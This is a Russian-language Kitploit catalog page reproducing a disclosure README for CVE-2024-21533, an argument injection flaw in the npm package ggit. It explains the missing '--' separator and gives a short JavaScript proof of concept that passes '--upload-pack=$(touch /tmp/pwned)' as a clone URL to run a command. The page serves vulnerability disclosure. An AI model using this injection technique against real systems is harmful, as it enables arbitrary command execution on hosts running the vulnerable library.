Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21533-PoC-ggit — CVE-2024-21533 PoC ggit | Kitploit
Инструменты/GitHubGitHub/lirantal/cve-2024-21533-poc-ggit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationSupply Chain Security
GitHublirantal/cve-2024-21533-poc-ggit

CVE-2024-21533-PoC-ggit

CVE-2024-21533 PoC ggit

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21533 Уязвимость внедрения аргументов в ggit

ggit описывает себя как:

root@kitploit:~
Local promise-returning git command wrappers

Ресурсы:

  • Исходный код проекта на GitHub: https://github.com/bahmutov/ggit
  • npm-пакет проекта: https://www.npmjs.com/package/ggit

Статья об этой уязвимости внедрения аргументов: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Предыстория эксплуатации

Я сообщаю об уязвимости внедрения аргументов в npm-пакете ggit.

Эта уязвимость проявляется в API clone() библиотеки, который позволяет указать удаленный URL для клонирования и файл на диске для клонирования. Однако библиотека не очищает пользовательский ввод и не проверяет схему URL, а также должным образом не передает флаги командной строки бинарному файлу git с использованием символов POSIX двойного тире (--) для обозначения конца параметров.

Таким образом, это позволяет пользователям эксплуатировать уязвимость внедрения аргументов в Git из-за параметра командной строки --upload-pack, что приводит к выполнению произвольных команд. (outPath) для клонирования, тогда уязвимость применима.

Эксплуатация

  1. Установите [email protected] или более раннюю версию
  2. Создайте следующий POC:
root@kitploit:~
const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});
  1. Обратите внимание на новый файл, созданный на диске по пути /tmp/pwned

Участие в разработке

Пожалуйста, ознакомьтесь с CONTRIBUTING для получения рекомендаций по участию в этом проекте.

Автор

Liran Tal

Скачать инструмент